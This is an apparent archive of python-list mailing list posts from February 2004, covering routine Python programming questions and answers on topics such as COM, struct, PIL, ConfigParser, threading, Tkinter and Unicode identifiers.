----- Original Message ----- 
From: "Paul Miller" <paul at fxtech.com>
To: "Pablo Yabo" <pyabo at novamens.com>; "Gerhard H?ring" <gh at ghaering.de>;
<python-list at python.org>
Sent: Friday, February 20, 2004 12:22 PM
Subject: Re: Py_Finalize


>
> >I do that and the memory always increase.
> >If I comment the module loads the memory stay stable, but if I load the
> >modules the memory increases and never return to the previous level.
>
> How are you running your scripts? If using PyImport, try Py_DECREF the
> returned module objects before you call Py_Finalize.
>
>
>





From aichia77 at yahoo.com  Fri Feb 27 04:31:49 2004
From: aichia77 at yahoo.com (Annie)
Date: 27 Feb 2004 01:31:49 -0800
Subject: Python COM Variant problem
Message-ID: <b9942658.0402270131.624a8492@posting.google.com>

I am trying to call a COM object which expects a variant datatype to
be passed in to the COM API object. However, I get "<COMObject
<unknown>>" and the program fails.

Below is my code in Python, and the same code in VB which is working
fine...

I guess this is a variant problem with python? How can I make this
work? Would appreciate if someone can guide me as I am a python
newbie... :-)

Thanks very much...

##In Python
def setAddOnValue(oBusObj
    oAddOns = oBusObj.AddOns
    print oAddOns #returns "<COMObject <unknown>>" 
    print oAddOns.Count #return 3
    for x in range(1, oAddOns.Count):
        oAddOn = oAddOns.Item(x) #expects variant datatype for the x
variable


       
##In VB
Public Function setAddOnValue(oBusObj As Variant, strAddOnLabel As
String, strPropLabel As String, oVal As Variant) As Boolean
    Dim x, y
    Dim oAddOns As CAddOns
    Dim oAddOn As CAddOn
    Dim oAddOnValues As CAddOnValues
    Dim oAddOnValue As CAddOnValue
    
    setAddOnValue = False
    Set oAddOns = oBusObj.AddOns
    
    For x = 1 To oAddOns.Count
        Set oAddOn = oAddOns.Item(x)
        If oAddOn.AddOnName = strAddOnLabel Then
            Set oAddOnValues = oAddOn.AddOnValues
            For y = 1 To oAddOnValues.Count
                Set oAddOnValue = oAddOnValues.Item(y)
                If oAddOnValue.PropertyLabel = strPropLabel Then
                    setAddOnValue = True
                    Set oAddOnValue.Data = oVal
                    Exit For
                End If
            Next y
        End If
        If setAddOnValue = True Then
            Exit For
        End If
    Next x
End Function


From noah at noah.org  Tue Feb 24 14:42:11 2004
From: noah at noah.org (Noah)
Date: 24 Feb 2004 11:42:11 -0800
Subject: problem with struct module
References: <mailman.36.1077635852.8594.python-list@python.org>
Message-ID: <c9d82136.0402241142.778ff6e5@posting.google.com>

Angelo Secchi <secchi at sssup.it> wrote in message news:<mailman.36.1077635852.8594.python-list at python.org>...
> I'm trying to use the unpack method in the struct module to parse a
> binary file without success. I have a binary file with records that

You did not mention what error you got, but I can guess that
it is because you are trying to unpack the structure inside an
infinite loop.

import struct
fmt='10s1960s'
size=struct.calcsize(fmt)
f=file("data")
s=f.read(size)
while s:
     print 'read:', s
     d1,d2=struct.unpack(fmt,s)
     print 'unpack', d1    
     s = f.read (size) ### YOU FORGOT THIS LINE.
     
Yours,
Noah
Spurrier


From brainiac at visi.com  Thu Feb  5 02:44:18 2004
From: brainiac at visi.com (BRAINIAC)
Date: 05 Feb 2004 07:44:18 GMT
Subject: Solaris PIL JPEG Problems
Message-ID: <4021f452$0$41290$a1866201@newsreader.visi.com>

I am trying to process JPEG images using PIL 1.1.4 with Python 2.2.3.
GIF and PNG are working fine. I am using jpeg-6b and all my other
software using libjpeg work fine.  I am thinking you need much more
info to help me, but let me start with this:

Python 2.2.3 (#2, Feb  3 2004, 03:09:11)
[GCC 2.7.2.2] on sunos5
Type "help", "copyright", "credits" or "license" for more information.
>>> import Image
>>> a=Image.open("lena.jpg")
>>> a.size
(128, 128)
>>> a.info
{'jfif_version': (1, 1), 'jfif': 257, 'jfif_unit': 0, 'jfif_density': (1, 1)}
>>> a.save("lena-test.jpg", "JPEG")
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/opt/lib/python2.2/site-packages/PIL/Image.py", line 1125, in save
    self.load()
  File "/opt/lib/python2.2/site-packages/PIL/ImageFile.py", line 192, in load
    raise IOError(error + " when reading image file")
IOError: decoding error when reading image file

Here is output from another session in which GIF and PNG work fine:

>>> a=Image.open("lena.gif")
>>> a.info
{'version': 'GIF87a', 'background': 0}
>>> a.save("lena-test.gif")
>>> a.save("lena-test.png", "PNG")
>>>

Thanks !

Please respond here instead of via email.


From mzupan at meso.com  Tue Feb 17 15:14:31 2004
From: mzupan at meso.com (Mike Zupan)
Date: 17 Feb 2004 12:14:31 -0800
Subject: editing a config file
Message-ID: <9d302332.0402171214.5df86ca2@posting.google.com>

I need to edit the value(s) of a config file via a GUI interface. I'm
trying to use ConfigParser but set() doesn't seem to write.

Here are my reading and writing functions

	def getConfig(self,value=None):
		config = ConfigParser.ConfigParser()
		config.readfp(open('config.inf'))
		return config.defaults()[value]
		
	def setConfig(self, option, value):
		config = ConfigParser.ConfigParser()
		config.readfp(open('config.inf', 'a'))
		config.set("DEFAULT", option, value)

The values are getting passed ok it just won't set the value to the
new value i have selected.

can anyone offer any hints?


From alexander.dejanovski at laposte.net  Fri Feb 27 03:05:30 2004
From: alexander.dejanovski at laposte.net (Alexander DEJANOVSKI)
Date: Fri, 27 Feb 2004 09:05:30 +0100
Subject: ANN : JyRetic EAI Server 1.0RC3 released
Message-ID: <5.1.0.14.2.20040226153832.02fbb008@127.0.0.1>

JyRetic 1.0RC3 was just released.
(http://retic.sourceforge.net)

Changes are (I might have forgotten some bug fixes):

- Bug fix : Scheduled events didn't work if no parameter file was required
- Improvement : Speeded up SQL source when there were several records to 
extract (~x10)
- Improvement : since JDBC drivers return rowcount on query execution, 
there's no need
		(as there was in Python) to execute a count(*) for each query (which was 
automatically done).
		This gives drastical speed improvements (and works for all types of query)
- New : XindiceSource component. Perform XPath queries on Xindice 
Collections as data source.
- New : DateMetadata preprocessor.
- New : Jabber Postprocessor
- New : SMTP Postprocessor
- New : The adaptor class is now fully Java compatible and can thus be 
instantiated from a Java prog. (I'll bundle a Jar distribution to achieve 
this properly)
- New : Adaptors execution tracking is now stored into a HSQLDB embedded 
server => faster and more reliable communications with server
===== Note =========
- Improvement : SQLTree and SQLTreePlus sources have evolved in 
parent/child link strategy. Pre-existing adaptors won't work anymore.
                 Please refer to the doc in order to know how to modify 
your adaptors.
====================



Retic Administrator 1.2 was released too !!

Changes are :

Note : Upgrade to JyRetic 1.0RC3 at least or expect problems in server/gui 
communications

- Improvement : Use of hourglass cursor while performing communications 
with server
- New feature : Added the "Copy periodicity" button on recurrent events 
schedule.
- Improvement : Use of tabs in schedule and execution tracking to improve 
visibility
- Bug fix : Adaptors opened from server didn't display correctly 
(preprocessors, postprocessors)
- Great new feature : Now the adaptor designer can open several adaptors at 
the same time, using tabs.
- New : Added new informations about adaptors in execution tracking :
	Polls executed so far, Polls left, Messages treated so far, Messages left, 
Message treatment rate, Estimated poll end.
- Improvement : GUI layout reworked a bit for better legibility (separated 
Adaptor/param lists and execution tracking)



=============================================================
WHAT IS RETIC ?

Retic is an EAI Server.
The aim is to permit applications to communicate, even if they
don't speak the same language (which means transport protocols
as well as data structures).
This is done by building adaptors. An adaptor is composed of :
         - One source
         - Several pipes (process data transformations)
         - Several sinks (destination of data)
         - Several loggers (using log4j)
         - Preprocessors (executed only once before adaptor execution - for 
example => drop/create a table through a SQL query)
         - Postprocessors (executed only once after adaptor execution - for 
example => creation of an index on a table through a SQL query)

It is written in Jython and works 100% fine with only Java 1.3+ installed 
on your system (jython 2.1 is embedded in the releases).
It provides connectivity with : JMS, HTTP, SOAP, UDDI, FTP, Xindice, JDBC, 
Jabber, SMTP and more...

=============================================================



Enjoy !!


PS : I'd need some help to restart the Python version of Retic. Anyone 
interested in contributing should contact me. 




From bignose-hates-spam at and-benfinney-does-too.id.au  Tue Feb 10 03:10:38 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 10 Feb 2004 19:00:38 +1050
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
	<mailman.1402.1076396710.12720.python-list@python.org>
Message-ID: <slrnc2h5le.14l.bignose-hates-spam@rose.localdomain.fake>

On Mon, 09 Feb 2004 22:53:40 -0800, Paul Prescod wrote:
> Imagine a university textbook without chapters. It is somewhat harder 
> to navigate the one long stream. By convention, programmers use 
> functions as "chapters."

Naah.  The modules are the "chapters".  Classes are "sections", and
functions are "subsections".

And every sentence should fit on one 80-column line, or be broken into
multiple sentences that do.

-- 
 \          "The trouble with Communism is the Communists, just as the |
  `\        trouble with Christianity is the Christians."  -- Henry L. |
_o__)                                                          Mencken |
Ben Finney <http://bignose.squidly.org/>


From tmswfh at nus.edu.sg  Thu Feb  5 04:17:44 2004
From: tmswfh at nus.edu.sg (WU FUHENG)
Date: Thu, 5 Feb 2004 17:17:44 +0800
Subject: a strange problem in python multi-thread programming
Message-ID: <001501c3ebc8$ea417210$0b8e8489@stf.nus.edu.sg>

Today,I found a strange problem in python multi-thread programming.When I used function win32com.client.Dispatch('ADODB.Connection') in primary thread, it was OK. But when I called it in secondary-thread, it raised a exception. Then debugging and tracking the code, I found the problem was from the function pythoncom.CoCreateInstance(IDispatch, None, clsctx, pythoncom.IID_IDispatch) in . The parameters are (ADODB.Connection, None, 21, {00020400-0000-0000-C000-000000000046}). But just as I said above, this function would be ok in primaray thread mode but not work in the secondary-thread mode. Since this function is from the dll(in my computer is python23.dll), I can not see the source code and don't know how to solve this problem. Anyone can help me? 
-------------- next part --------------
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From captain at home.nl  Tue Feb 10 16:52:23 2004
From: captain at home.nl (Arjan Dikhoff)
Date: Tue, 10 Feb 2004 22:52:23 +0100
Subject: Newbie question: getting my program to run at startup on Windows
In-Reply-To: <002501c3f01f$5d8b5290$0000fea9@dell8200>
Message-ID: <000501c3f020$2d672520$44f679d9@CC202350a>

Hello, I'm new to this list.

I'm trying to get my program to run automatically at startup, but so far
no luck. I came as far as:

key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")
                
_winreg.SetValueEx(key, "earthclock", 0, _winreg.REG_SZ, os.getcwdu() +
"\\EarthClock.exe")
_winreg.CloseKey(key)

But I get "WindowsError: [Errno 5] Access is denied"

I'm probably doing something blatantly wrong. Does anyone know what it
is?

Arjan





From miki.tebeka at zoran.com  Tue Feb 17 06:26:28 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 17 Feb 2004 03:26:28 -0800
Subject: keyword that stops further processing of a Python script
References: <2c83305ajs1vgqt65oo97t15b82grqjd7u@4ax.com>
Message-ID: <4f0a9fdb.0402170326.25a0565@posting.google.com>

Hello Avi,

>   Does Python provide a token like Perl's __END__
>   that would mark the logical end of a Python script 
>   which could occur before the actual end of the file. 
Just place `raise SystemExit' where you want the script to stop.
Another option of to use triple quotes around the end of the file.

HTH.
Miki


From goodger at python.org  Wed Feb 25 12:08:59 2004
From: goodger at python.org (David Goodger)
Date: Wed, 25 Feb 2004 12:08:59 -0500
Subject: Bookmark URL Parsing
In-Reply-To: <403CD1C8.3020101@graffiti.idv.tw>
References: <403CD1C8.3020101@graffiti.idv.tw>
Message-ID: <c1ikr7$7hb$1@sea.gmane.org>

Timothy Wu wrote:
> How exactly does %22 maps to the quotation mark? I know I often see the
> kind of representation in a URL, but what exactly is it and where would
> I find info on that? And most importantly, how do I make my match work?

URLs are not so simple.  See RFC-2396:
<http://www.faqs.org/rfcs/rfc2396.html>.

Also, the urlparse module from Python's stadard library may be useful.

-- David Goodger




From no at spam.edu  Wed Feb 11 14:59:19 2004
From: no at spam.edu (DH)
Date: Wed, 11 Feb 2004 13:59:19 -0600
Subject: pychecker should be mentioned in every tutorial [Re: How to avoid
 "f.close" (no parens) bug?]
In-Reply-To: <mailman.1465.1076512527.12720.python-list@python.org>
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
	<mailman.1465.1076512527.12720.python-list@python.org>
Message-ID: <HeGdnTF0K_0IFLfdRVn-hA@comcast.com>

>     Stephen> I've just spent several very frustrating hours tracking down a
>     Stephen> bug in one of my programs.  The problem was that I was writing
>     Stephen> text to a file, and when I was done I coded
> 
>     Stephen>    f.close
> 
>     Stephen> when I should have been coding
> 
>     Stephen>    f.close()
> 
>     Stephen> with the parentheses.
> 
>     Stephen> In any event, does anybody have any suggestions for how a coder
>     Stephen> could avoid making such a mistake, or detect it quickly?
> 
> Pychecker would probably have warned about this.  Given this four-line file:

There are numerous common mistakes people making when coding in Python 
that the compiler doesn't catch.  Case-sensitive errors, errors in 
indenting, etc.

I think PyChecker ( http://pychecker.sf.net/ ) should be mentioned in 
every beginner tutorial, and should be integrated with every Python IDE. 
  Before you type anything, type "import pychecker.checker"


From guettli at thomas-guettler.de  Tue Feb 17 03:32:47 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Tue, 17 Feb 2004 09:32:47 +0100
Subject: the best book for learning python !?
References: <b15d2792.0402161313.6902cc27@posting.google.com>
Message-ID: <pan.2004.02.17.08.32.47.478656@thomas-guettler.de>

Am Mon, 16 Feb 2004 13:13:06 -0800 schrieb post400:

> Hi ,
> 
> I was just wondering ( yeah I know it's not the first time this
> question pops up )
> what would be the best 2 or 3 books for someone who wants to learn
> Python , already experienced in other non-OOP languages .It takes time
> to browse endlessly on the net , in a bookshop or a library for THOSE
> books that are really useful !

I recommend the Python Cookbook.

 thomas



From jcarlson at nospam.uci.edu  Thu Feb  5 11:07:43 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 08:07:43 -0800
Subject: hide sourcecode
In-Reply-To: <bvtm5f$pgq$00$1@news.t-online.com>
References: <bvtm5f$pgq$00$1@news.t-online.com>
Message-ID: <bvtpsp$126$1@news.service.uci.edu>

> Hi, is it possible to protect the python sourcecode?
> I have a nice little script and i dont want to show everbody the source.
> 
> Im using python on a windows pc.

Compile the .py file into bytecode (.pyc).  That .pyc file will only be 
usable on platforms with the same x.y version of Python as you.

Remember that .pyc files suffer from the same decompilation 
vulnerabilities as any other programming language (which is why there 
exists software cracks).  If someone wants to know what you are doing, 
they will.

  - Josiah

P.S. What kind of script do you have that you want to hide from prying eyes?


From mwh at python.net  Thu Feb  5 07:32:35 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 5 Feb 2004 12:32:35 GMT
Subject: counting references to an instance
References: <pan.2004.02.04.18.55.02.385092.6672@sympatico.ca>
	<hdy6d4d0.fsf@python.net>
Message-ID: <m3fzdpaeqk.fsf@pc150.maths.bris.ac.uk>

Thomas Heller <theller at python.net> writes:

> Brian <balex at sympatico.ca> writes:
> 
> > Hello;
> >
> > Is it possible to get an object to return the number of references there
> > are to itself?
> >
> > Ex:
> >
> > class test(object):
> >  pass
> >
> > a = test()
> > b = a
> >
> > # Should print "2", if I knew the name of the method.
> > print a.refCount()
> >
> 
> In Python debug builds, there's the sys.getrefcount() function.

In *all* builds, there's sys.getrefcount().  Are you thinking of
sys.gettotalrefcount()?

-- 
  ARTHUR:  Yes.  It was on display in the bottom of a locked filing
           cabinet stuck in a disused lavatory with a sign on the door
           saying "Beware of the Leopard".
                    -- The Hitch-Hikers Guide to the Galaxy, Episode 1


From g2h5dqi002 at sneakemail.com  Tue Feb 17 20:14:53 2004
From: g2h5dqi002 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Wed, 18 Feb 2004 14:14:53 +1300
Subject: Produce anti-noise
In-Reply-To: <mailman.1161.1075801845.12720.python-list@python.org>
References: <56f42e53.0402021410.5f2b2d93@posting.google.com>	<bvmlik$kam$06$1@news.t-online.com>	<bvmo66$afc$1@news.service.uci.edu>	<bvmoq7$ki$00$1@news.t-online.com>	<bvn5j8$mg5$1@news.service.uci.edu>
	<mailman.1161.1075801845.12720.python-list@python.org>
Message-ID: <c0ueaf$1cf98j$1@ID-169208.news.uni-berlin.de>

Gerrit Holl wrote:
> I think a phase shift is measured in time or as a fraction of the
> period, not in degrees.
 >
> But here, of course, we have no harmonic oscillation, and certainly not
> a period of 2*Pi.

It's perfectly correct to refer to an amplitude inversion as a
"phase shift of 180 degrees", even when you're not dealing with
a pure sinewave.

When electronic engineers talk about phase shifts, they're
speaking in the frequency domain, not the time domain. For
a non-sinewave signal, a 180 degree phase shift means to
decompose it into sinewave components, shift the phase of
each component by half of that component's period, and
then add the components back together.

In the time domain, this corresponds to simply turning
the signal upside down, and of course this is how it is
usually implemented in hardware. Electronics gurus only
describe it as a phase shift because they're used to
thinking in the frequency domain all the time (where
it's easier to visualise a lot of *other* things that
are more complicated in the time domain).

So the bottom line is, using a DSP to implement a 180
degree phase shift is massive overkill. Just swap the
wires to the speaker. :-)

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From guillermo.fernandez at epfl.ch  Mon Feb  9 06:45:12 2004
From: guillermo.fernandez at epfl.ch (Guillermo Fernandez Castellanos)
Date: Mon, 09 Feb 2004 12:45:12 +0100
Subject: how to pass scripts to python -c
In-Reply-To: <75765317.0402072221.644f364f@posting.google.com>
References: <75765317.0402072221.644f364f@posting.google.com>
Message-ID: <402772c8$1@epflnews.epfl.ch>

As I understood your question, you want to pass information to your python 
program from your command line.

Like:
python pycat.py < file.txt
Or:
python pycat.py file1.txt file2.txt
Or:
cat file1 file2 | python pycat.py
Or:
python pycat.py
(in this last case you write what you want and must push Crt-D to make what you 
wrote echoed to the terminal, and you can start again).

You can do this with the library fileinput.

This is a sample code that works and do what you expect from the last examples. 
It's a very simple cat program:

#### pycat.py ####
import fileinput
if __name__=='__main__':
     for line in fileinput.input():
         print line,

Regards,

Guille

Daniel Kramer wrote:
> what are the formatting rules to passing python commands to the python
> command line?  I've tried the following, which works:
> 
> echo hello | python  -c "import sys; print sys.stdin.read()[:4]"
> 
> I'm actually trying to shell out of another scripting lang that's not
> very good at string parsing to have python do some work.. the only
> problem is this other lang doesn't like the ";" in my python command
> string and fails.  Is there another notation I can use on a single
> line to tell python that there is a line break?
> 
> I tried:
> echo hello | python  -c "import sys\n print sys.stdin.read()[:4]"
> 
> but that doesn't work
>  
> any suggestions? 
> 
> thanks 
> 
> daniel


From mac at dgp.toronto.edu  Thu Feb  5 09:25:35 2004
From: mac at dgp.toronto.edu (Maciej Kalisiak)
Date: 5 Feb 2004 14:25:35 GMT
Subject: "ulimit -s" has no effect?
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<bvsndq$q03$00$1@news.t-online.com>
Message-ID: <87n07xwqi3.fsf@dgp.toronto.edu>

"Martin v. L?wis" <martin at v.loewis.de> writes:
> As a starting point, verify that the limit you set actually does get
> set. It may be that you don't have permission to increase your stack
> limit.

I check that it is set by running "ulimit -s" without a numerical argument.
The reported value is the one I have set, viz. much larger than the default of
8192 (kbytes).  This is the soft limit.  The hard limit is reported to be
"unlimited".

If it matters, let me add that I'm running Python from within zsh.
 % zsh --version
zsh 4.0.4 (i686-pc-linux-gnu)

-- 
Maciej Kalisiak | <mac at dgp.toronto.edu> | http://www.dgp.toronto.edu/~mac [McQ]


From claird at lairds.com  Wed Feb 18 10:40:50 2004
From: claird at lairds.com (Cameron Laird)
Date: Wed, 18 Feb 2004 15:40:50 -0000
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wbrnwk5g0.fsf@goya03.ti.uni-mannheim.de>
	<1036otlf7ng59a@corp.supernews.com>
	<36w7jykjvk8.fsf@goya03.ti.uni-mannheim.de>
Message-ID: <10371s2hqq98tdb@corp.supernews.com>

In article <36w7jykjvk8.fsf at goya03.ti.uni-mannheim.de>,
Matthias  <no at spam.pls> wrote:
			.
			.
			.
>My posting was not against creators of new languages, tools,
>methodologies but against publishing strong and general claims on the
>potential benefits without having to offer the slightest piece of
>unbiased evidence.
>
>Some questions concerning programming languages debated on usenet
>almost endlessly (typing, garbage collection, syntax issues) could be
>_resolved_ using lab experiments.  That there goes so much effort into
>marketing and apparently only little into actual experiments is what I
>criticize.

Me, too!  That is, experiments to resolve questions about
garbage collection and so on intrigue me, and I keep push-
ing myself to design ways to cut the cost of their
resolution.  I am quite impatient with all the marketing
dissipation.  I applaud your clear denunciation of unsub-
stantiated claims.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From jmeile at hotmail.com  Fri Feb 27 13:45:19 2004
From: jmeile at hotmail.com (Josef Meile)
Date: Fri, 27 Feb 2004 19:45:19 +0100
Subject: INFORMIX & Python/ZOPE
In-Reply-To: <92c875f.0402260100.3827ce05@posting.google.com>
References: <92c875f.0402170828.46efe605@posting.google.com>
	<40350a45$1@pfaff2.ethz.ch>
	<92c875f.0402260100.3827ce05@posting.google.com>
Message-ID: <403f9018$1@pfaff2.ethz.ch>

webmaster at ac-strasbourg.fr wrote:
> I'd love to post a traceback, but I can't because my ZOPE instance
> "freezes" and is unable to log anything, I have to kill it.
> 
> I've also tried to import the generated .so module in pyhton programs
> (command line), in order to use it directly. The ZOPE problems I
> experience become segmentation faults in the Python standalone program
> (same request, same dd and same server of course),  always involving
> date or date/time fields.
> 
> "Josef Meile" <jmeile at hotmail.com> wrote in message news:<40350a45$1 at pfaff2.ethz.ch>...
> 
>>Perhaps you should try to ask on the zope mailing list:
>>http://mail.zope.org/mailman/listinfo/zope
>>
>>Ah, and don't forget to post the complete traceback. Without
>>it, it's almost impossible that somebody helps you.
>>
>>Regards,
>>Josef
>>
>><webmaster at ac-strasbourg.fr> wrote in message
>>news:92c875f.0402170828.46efe605 at posting.google.com...
>>
>>>Hi,
>>>
>>>I'm desperatly trying to use Kinfxdb, but I have numerous segmentation
>>>faults, who lead my Zope to crash. It mostly occurs when I try to work
>>>with "date" fields (with an Informix Online database).
>>>I got it here : http://zope.org/Members/papa/
>>>I'm running a RH7.3 Server, with the latest Informix SDK available on
>>>IBM website.
>>>
>>>Any idea ?
>>>
>>>Is there another free solution to connect Zope/Python and Informix ?
>>>I've also tried informixdb but it doesn't work that great.
>>>
>>>By the way, is there a way to get rid of setting the INFORMIXSERVER as
>>>en ENV variable ? It could be useful to use several servers at a time.
>>>
>>>Many thanks for any kind of help !
Perhaps some of my bookmarks could help you:

http://www.zope.org/Members/4am/debugspinningzope
http://zope.org/Members/mcdonc/HowTos/UsingTheZopeDebugger
http://www.zope.org/Members/klm/debuggingzope
http://web.archive.org/web/20030417090942/http://www.zope.org/Members/michel/HowTos/TheDebuggerIsYourFriend

Regards,
Josef



From M.Boeren at guidance.nl  Thu Feb 19 03:44:54 2004
From: M.Boeren at guidance.nl (Marc Boeren)
Date: Thu, 19 Feb 2004 09:44:54 +0100
Subject: Hiding/showing Tkinter.Canvas items
Message-ID: <7BE0F4A5D7AED2119B7500A0C94C58AC3D6FC0@DELLSERVER>


Hi,

> > mycanvas.itemconfigure("highlight", state='hidden')
> 
> Easy, once you know it :-)

It takes a bit of searching and experimenting, but once you know .configure
and .itemconfigure and also know where to find a list of options
(http://www.tcl.tk/man/tcl8.4/TkCmd/canvas.htm), there's a lot you can do. 
The Canvas widget has amazed me with its flexibility and power: I love it!

Cheerio, Marc.



From rovitotv at rovitotv.org  Fri Feb 13 10:38:15 2004
From: rovitotv at rovitotv.org (Todd V. Rovito)
Date: Fri, 13 Feb 2004 10:38:15 -0500
Subject: 6 Qustions about Python: Does it do GUI?  more...
In-Reply-To: <c0in25+ftaj@eGroups.com>
References: <c0in25+ftaj@eGroups.com>
Message-ID: <20040213153815.GB18591@rovitotv@rovitotv.org>

Thus spoke Will (k4bda at yahoo.com):
> I just discovered Python and looked briefly at one of the tutorials 
> for beginners...
> 
> It looks a lot like the old Command line Basic... I'm sure it does 
> much more but...
Python does not resemble basic to me at all. The only thing that is
similar is the interpreter interface.  Personally I really like
interpreters I think the development cycle is faster, this conclusion
comes from years of development work in Matlab, PERL, and basic.
 
> 1 - Can you create windows, buttons, user input fields, etc as you 
> can with Visual Basic?
Yes, look for information on Tkinter interfaces.


> 3 - Can you create your own objects with a bunch of methods and 
> properties?
Yes python is fully OO.

 
> 4 - Can you create a Windows program that looks and feels like a 
> Windows program?
Yes, the nice thing is your program will also run on Unix and Mac.

 
> 5 - Does it come with a compiler or must the user have the 
> interpreter on their machine?
Look at py2exe for windows.  This program works pretty good.
 
> 6 - Why another language? Easier than C or C++ or Visual C ?? More 
> powerful than Visual Basic or the competing Borland productg?? Why 
> Python?
Some of the things I like about Python:
0) It comes with batteries.  Which means that all the libraries are bundled
with it so I don't have to install addons to perform FTP, HTTP, or SMTP
functions.

1) I really like C/C++ but I hate dealing with memory allocation, python
handles all memory allocation automatically.  Included with Python are many
built in data structures, such as list (like a linked list).

2) Once you get used to the column based structure you will realize how much
time it will save you from counting your "{,}"

The list could go on but these are the important ones.

-- 
Todd V. Rovito
rovitotv at rovitotv   dot org
Carpe Aptenodytes! ================ "Seize the Penguins!" 
Running Slackware 9.1 Linux 2.4.22



From wfolta at netmail.to  Wed Feb 18 10:51:24 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Wed, 18 Feb 2004 10:51:24 -0500
Subject: PEP-315 ("do" loop)
References: <0F705920-60F0-11D8-BE5B-000A959CB2EC@netmail.to>
	<4032385D.6030003@prescod.net>
	<mailman.78.1077041293.31398.python-list@python.org>
Message-ID: <2004021810512416807%wfolta@netmailto>

Sorry for the duplicate posts!

I am not seeing them on the email side of things. (Somehow the 
news-mail gateway is having some problems still.) Decided to check with 
a newsreader and suspicions confirmed.



From Scott.Daniels at Acm.Org  Tue Feb 10 11:59:35 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Tue, 10 Feb 2004 08:59:35 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <102geglh6cprm45@news.supernews.com>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net><4027EAC5.2090603@prescod.net>
	<402806A4.6020502@v.loewis.de>
	<mailman.1391.1076369629.12720.python-list@python.org>
	<102geglh6cprm45@news.supernews.com>
Message-ID: <4029177e$1@nntp0.pdx.net>

John Roth wrote:
 > ...
> I believe that unicode (actually UTF-8) source code files
> are legitimate if you declare them properly in the encoding
> line. In fact, UTF-8 is the example in the documentation.
> 
> I'm all in favor of going to unicode all the way. I'd like to
> have the proper mathematical symbols for logical and set
> operations, as well as integer divide. They're all there in the
> unicode character set, after all; why should we have to
> settle for archaic character restrictions?
Because some of us use archaic systems and/or fonts which are
incapable of displaying such symbols.  Never mind whether we
can read them.

Also, we would have to solve the issue of multiple representations
for the same identifier (normalized identifiers)?  There are four
equivalent representations:

     (u'\N{Latin small letter e with acute}l'
                        u'\N{Latin small letter e with grave}ve')

     (u'\N{Latin small letter e with acute}l'
                        u'e\N{Combining grave accent}ve')

     (u'e\N{Combining acute accent}l'
                        u'\N{Latin small letter e with grave}ve')

     (u'e\N{Combining acute accent}l'
                        u'e\N{Combining grave accent}ve')

Unicode says we should treat these four identically.  Further,
they each have a distinct hash code, so a dictionary will not 
necessarily even try to compare them to find them equal.


-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From paul at prescod.net  Fri Feb 13 14:24:42 2004
From: paul at prescod.net (Paul Prescod)
Date: Fri, 13 Feb 2004 11:24:42 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <016401c3f196$9ed31d50$0000fea9@dell8200>
References: <016401c3f196$9ed31d50$0000fea9@dell8200>
Message-ID: <402D247A.6010207@prescod.net>

Brian Quinlan wrote:

>>This is an overstatement. One of the great things about Python is that
>>it borrows from other langauges. VB and C# for sure and I think Java
>>allow non-ASCII identifiers and there was no catastrophe. VB has its
>>problems but Unicode identifiers is not a big one.
> 
> 
> I think that Python should borrow the C# identifier syntax verbatim. That
> way we can have code that looks like this:
> 
> class @class:
>     def @def(@def):
>         pass
> 
> cl\u0061ss.d\u0065f(true)

Have you ever seen real code like that? If not, what are you worried 
about? That C# programmers are reasonable but Python programmers are 
devious and will go to extra effort to make your life difficult?

  Paul Prescod





From castor at snafu.de  Mon Feb 23 08:51:25 2004
From: castor at snafu.de (wolf)
Date: 23 Feb 2004 05:51:25 -0800
Subject: running fastcgi on windows?
References: <c17ls5$hmr$04$1@news.t-online.com>
	<mailman.140.1077379850.27104.python-list@python.org>
Message-ID: <6fa5f178.0402230551.21672243@posting.google.com>

robin,

thanks a lot for your answer. it helps me in
so far as i now believe it should be feasible
to get fastcgi and python running on windows. 
would you mind to re-post your modified file
directly? i'm afraid the attachment didn't make 
it to the list and i couldn't find it on
the twisted mailing list either. 

_wolf


From nid_oizo at yahoo.com_removethe_  Mon Feb 23 08:09:08 2004
From: nid_oizo at yahoo.com_removethe_ (Nicolas Fleury)
Date: Mon, 23 Feb 2004 08:09:08 -0500
Subject: learning to program with Python
In-Reply-To: <8Ug_b.593859$X%5.271567@pd7tw2no>
References: <mailman.161.1077460590.27104.python-list@python.org>
	<8Ug_b.593859$X%5.271567@pd7tw2no>
Message-ID: <k_m_b.21482$FO1.756795@weber.videotron.net>

stewart wrote:
> I see at least two problems here.  Python requires brackets around the 'if'
> comparison, and a colon at the end of the if statement.  Try re-writing
> your statement as:
> if (corPelo != None):
>    self.corPelo = corPelo

No, Python doesn't require parenthesis or brackets around the 
comparison.  Any expression can have optional parenthesis.

if corPelo != None:
    self.corPelo = corPelo

is enough.

Regards,

Nicolas


From stephene at sjsoft.com  Mon Feb 23 10:33:54 2004
From: stephene at sjsoft.com (stephene at sjsoft.com)
Date: Mon, 23 Feb 2004 10:33:54 -0500
Subject: how to find a function definition using AST
Message-ID: <1530-220042123153354380@M2W057.mail2web.com>


I have a question about the compiler.ast module. Please bear with me if I
am missing something obvious, I am not too sure how to use this module.

I am using the compiler.visitor module to examine a piece of code and
extract certain useful information. However, I have run into trouble that I
dont know how to solve. When I override visitCallFunc I can get the name of
the function being called, but thats about it. What I would really like is
to know exactly where that function is defined (line of code, what class if
belongs to, everything).

